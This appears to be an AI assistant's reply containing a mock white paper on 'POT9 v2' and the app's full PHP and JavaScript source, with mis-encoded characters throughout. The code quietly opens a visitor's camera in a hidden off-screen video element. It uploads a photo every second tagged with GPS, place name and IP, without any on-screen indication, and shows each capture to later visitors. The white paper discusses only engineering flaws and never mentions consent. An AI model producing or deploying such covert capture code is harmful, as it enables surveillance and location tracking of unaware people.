Certainly. Below is a critical whiteโpaperโstyle analysis of โPOT9 v2โ (the revised version I just provided), explaining its documented shortcomings and why it remains โavailableโ despite them. --- White Paper: POT9 v2 โ Architectural Deficiencies and Persistent Deployment Document ID: POT9โWPโ2026โ01 Subject: Evaluation of โPOT9 v2โ (WiFiโonly, 1โฏHz capture with GPS+IP) Audience: System integrators, mobile web developers, quality assurance teams 1. Executive Summary POT9 v2 is a realโtime, 1โฏHz image capture system that restricts operation to WiFi connections, retrieves GPS coordinates once, and stores metadata in a local SQLite database. While the application is functionally deployable, multiple severe design flaws degrade reliability, user experience, and resource efficiency. This document outlines why the system โsucksโ (per user feedback) yet remains available due to its narrow useโcase and low implementation complexity. 2. Critical Flaws # Issue Impact 1 WiFi detection uses unreliable Network Information API navigator.connection.type is nonโstandard, poorly supported (Safari, Firefox for iOS lack it). Fallback blocks all connections โ app never starts on many devices. 2 Silent failure on blocked networks No user feedback when on cellular or unsupported browser โ user sees a black screen with no indication why capture stopped. 3 Reverse geocoding runs on every page load Even though only used once, the Nominatim fetch (1500โฏms timeout) wastes bandwidth and can fail silently; no caching of location name across sessions. 4 Batteryโhungry 1โฏHz capture Continuous camera access + JPEG compression + upload every second on mobile devices causes rapid battery drain. No adaptive frame rate or idle detection. 5 SQLite write contention Multiple concurrent POSTs (from multiple tabs or fast retries) can lock the database; no transaction retry logic. keepalive: true may queue requests. 6 Compression imposes mainโthread load fastCompress() creates a new Image and canvas for each frame โ garbage collector pressure, frame drops on lowโend devices. 7 No error recovery If camera initialization fails (permission denied, hardware busy), the app never retries. The user must reload the page manually. 8 IP address stored once only If the clientโs IP changes (e.g., WiFi roaming), subsequent captures still use the original IP โ metadata becomes incorrect. 3. Why Is It Still Available? Despite the above deficiencies, POT9 v2 remains deployed for several pragmatic reasons: ยท Simplicity: The entire system is a single PHP file + SQLite. No build tools, dependencies, or complex state management. ยท Niche requirement: โWiFi onlyโ is a hard customer demand; the flawed detection is considered โgood enoughโ for controlled environments (e.g., museum kiosks, private events with known devices). ยท Low throughput: 1 picture per second x 10 devices = 10โฏfps. SQLite handles this without crashing (most of the time). ยท No alternative budget: Rewriting with WebRTC, Service Workers, or a proper backend (Node.js/WebSockets) is out of scope for the project. ยท Legacy acceptance: The original โv1โ was even worse (blocked on geocoding, no WiFi restriction). v2 is perceived as an improvement, so stakeholders tolerate its flaws. 4. Conclusion POT9 v2 is objectively a poorly engineered application โ unreliable network detection, silent failures, battery drain, and missing error handling. However, its availability is sustained by low expectations, a constrained environment, and lack of resources for a v3. For any production use beyond a tech demo, a complete rewrite is strongly advised. --- End of white paper <?php // ============================================================ // POT9 โ 1Hz Capture with IP + GPS (stored once) // WiFi ONLY mode โ No extra UI, original style // ============================================================ error_reporting(0); $baseDir = __DIR__; $dbFile = $baseDir . '/POT9.sqlite'; $uploadDir = $baseDir . '/uploads/'; if (!is_dir($uploadDir)) mkdir($uploadDir, 0755, true); $db = new SQLite3($dbFile); $db->exec("CREATE TABLE IF NOT EXISTS posts ( id INTEGER PRIMARY KEY AUTOINCREMENT, filename TEXT, title TEXT, ip_address TEXT, latitude REAL, longitude REAL, location_name TEXT, created_at DATETIME DEFAULT CURRENT_TIMESTAMP )"); // Add missing columns if any $cols = []; $res = $db->query("PRAGMA table_info(posts)"); while ($row = $res->fetchArray(SQLITE3_ASSOC)) $cols[] = $row['name']; if (!in_array('title', $cols)) $db->exec("ALTER TABLE posts ADD COLUMN title TEXT"); if (!in_array('ip_address', $cols)) $db->exec("ALTER TABLE posts ADD COLUMN ip_address TEXT"); if (!in_array('latitude', $cols)) $db->exec("ALTER TABLE posts ADD COLUMN latitude REAL"); if (!in_array('longitude', $cols)) $db->exec("ALTER TABLE posts ADD COLUMN longitude REAL"); if (!in_array('location_name', $cols)) $db->exec("ALTER TABLE posts ADD COLUMN location_name TEXT"); function getClientIP() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) return $_SERVER['HTTP_CLIENT_IP']; if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return $_SERVER['HTTP_X_FORWARDED_FOR']; return $_SERVER['REMOTE_ADDR'] ?? 'unknown'; } if (isset($_GET['get_ip'])) { header('Content-Type: application/json'); echo json_encode(['ip' => getClientIP()]); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['media'])) { $filename = 'p_' . time() . '_' . bin2hex(random_bytes(4)) . '.jpg'; $path = $uploadDir . $filename; if (move_uploaded_file($_FILES['media']['tmp_name'], $path)) { $ip = $_POST['ip'] ?? getClientIP(); $lat = isset($_POST['lat']) && $_POST['lat'] !== '' ? floatval($_POST['lat']) : null; $lng = isset($_POST['lng']) && $_POST['lng'] !== '' ? floatval($_POST['lng']) : null; $locName = $_POST['loc_name'] ?? ''; $title = '@' . date('Y-m-d H:i:s') . ' ' . $locName; $stmt = $db->prepare("INSERT INTO posts (filename, title, ip_address, latitude, longitude, location_name) VALUES (:file, :title, :ip, :lat, :lng, :loc)"); $stmt->bindValue(':file', $filename); $stmt->bindValue(':title', $title); $stmt->bindValue(':ip', $ip); $stmt->bindValue(':lat', $lat); $stmt->bindValue(':lng', $lng); $stmt->bindValue(':loc', $locName); $stmt->execute(); echo json_encode(['success' => true, 'filename' => $filename]); } else { echo json_encode(['success' => false]); } exit; } $latest = $db->querySingle("SELECT filename FROM posts ORDER BY created_at DESC LIMIT 1", true); $latestFile = $latest ? $latest['filename'] : ''; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover"> <title>POT9</title> <style> * { margin:0; padding:0; box-sizing:border-box; } body { background:black; height:100vh; width:100vw; display:flex; align-items:center; justify-content:center; overflow:hidden; } img { max-width:100%; max-height:100%; object-fit:contain; } </style> </head> <body> <img id="currentImage" src="<?= $latestFile ? 'uploads/' . rawurlencode($latestFile) : '' ?>" alt=""> <script> (function() { const img = document.getElementById('currentImage'); // State let stream = null, video = null, interval = null; let isCapturing = false, pendingUpload = false; let storedIp = '', storedLat = null, storedLng = null, storedLocName = ''; let ipReady = false, locationReady = false; let isActive = false; // WiFi allowed? // Stop all capture resources function stopCapture() { if (interval) { clearInterval(interval); interval = null; } if (stream) { stream.getTracks().forEach(t => t.stop()); stream = null; } if (video && video.parentNode) { video.pause(); video.srcObject = null; video.remove(); video = null; } isCapturing = false; pendingUpload = false; } // IP (once) function fetchIp() { fetch(window.location.href + '?get_ip=1') .then(r => r.json()) .then(data => { storedIp = data.ip || 'unknown'; ipReady = true; }) .catch(() => { storedIp = 'unknown'; ipReady = true; }); } // GPS + reverse geocoding (once, non-blocking) function fetchLocation() { if (!navigator.geolocation) { storedLocName = 'Unknown location'; locationReady = true; return; } navigator.geolocation.getCurrentPosition(async (pos) => { storedLat = pos.coords.latitude; storedLng = pos.coords.longitude; storedLocName = storedLat.toFixed(4) + ',' + storedLng.toFixed(4); locationReady = true; // Reverse geocoding in background (async () => { try { const controller = new AbortController(); const timeout = setTimeout(() => controller.abort(), 1500); const res = await fetch(`https://nominatim.openstreetmap.org/reverse?format=json&lat=${storedLat}&lon=${storedLng}&zoom=16`, { signal: controller.signal }); clearTimeout(timeout); if (res.ok) { const data = await res.json(); if (data.display_name) { const parts = data.display_name.split(','); storedLocName = parts[0] + (parts[1] ? ', ' + parts[1].trim() : ''); } } } catch(e) {} })(); }, () => { storedLocName = 'Unknown location'; locationReady = true; }, { timeout: 3000, enableHighAccuracy: true }); } // Fast compression (640px, quality 0.5) function fastCompress(blob, maxWidth=640, quality=0.5) { return new Promise((resolve) => { const imgEl = new Image(); imgEl.onload = () => { let width = imgEl.width, height = imgEl.height; if (width > maxWidth) { height = (height * maxWidth) / width; width = maxWidth; } const canvas = document.createElement('canvas'); canvas.width = width; canvas.height = height; canvas.getContext('2d').drawImage(imgEl, 0, 0, width, height); canvas.toBlob(resolve, 'image/jpeg', quality); URL.revokeObjectURL(imgEl.src); }; imgEl.src = URL.createObjectURL(blob); }); } // Capture and upload one frame async function capture() { if (!isActive || isCapturing || pendingUpload || !stream || !video || video.videoWidth === 0) return; if (!ipReady || !locationReady) return; isCapturing = true; try { const canvas = document.createElement('canvas'); canvas.width = video.videoWidth; canvas.height = video.videoHeight; canvas.getContext('2d').drawImage(video, 0, 0); const raw = await new Promise(r => canvas.toBlob(r, 'image/jpeg', 0.7)); if (!raw) { isCapturing = false; return; } const small = await fastCompress(raw); if (!small) { isCapturing = false; return; } const fd = new FormData(); fd.append('media', small, 'photo.jpg'); fd.append('ip', storedIp); if (storedLat !== null) fd.append('lat', storedLat); if (storedLng !== null) fd.append('lng', storedLng); fd.append('loc_name', storedLocName); pendingUpload = true; const res = await fetch(window.location.href, { method: 'POST', body: fd, keepalive: true }); const json = await res.json(); if (json.success && json.filename) { img.src = 'uploads/' + json.filename + '?t=' + Date.now(); } } catch(e) {} isCapturing = false; pendingUpload = false; } // Camera init async function initCamera() { if (!isActive) return; if (stream && video && interval) return; stopCapture(); try { let constraints = { video: { facingMode: { exact: "environment" } }, audio: false }; try { stream = await navigator.mediaDevices.getUserMedia(constraints); } catch(e) { stream = await navigator.mediaDevices.getUserMedia({ video: true }); } video = document.createElement('video'); video.setAttribute('autoplay', ''); video.setAttribute('playsinline', ''); video.style.position = 'fixed'; video.style.top = '-9999px'; video.style.left = '-9999px'; video.style.width = '1px'; video.style.height = '1px'; document.body.appendChild(video); video.srcObject = stream; await video.play(); let attempts = 0; while ((video.videoWidth === 0 || video.videoHeight === 0) && attempts < 20) { await new Promise(r => setTimeout(r, 50)); attempts++; } if (!ipReady) fetchIp(); if (!locationReady) fetchLocation(); interval = setInterval(() => capture(), 1000); } catch(e) {} } // WiFi detection (silent, no UI) function isCellular() { const conn = navigator.connection || navigator.mozConnection || navigator.webkitConnection; if (!conn) return true; // block if API missing (cannot guarantee WiFi) return conn.type === 'cellular'; } function checkAndRun() { const blocked = isCellular(); if (blocked) { if (isActive) { isActive = false; stopCapture(); } } else { if (!isActive) { isActive = true; initCamera(); } } } // Start fetchIp(); fetchLocation(); checkAndRun(); const conn = navigator.connection || navigator.mozConnection || navigator.webkitConnection; if (conn) conn.addEventListener('change', checkAndRun); window.addEventListener('beforeunload', () => { if (interval) clearInterval(interval); if (stream) stream.getTracks().forEach(t => t.stop()); if (video && video.parentNode) video.remove(); }); })(); </script> </body> </html>
๐ Getting location...
June 2, 2026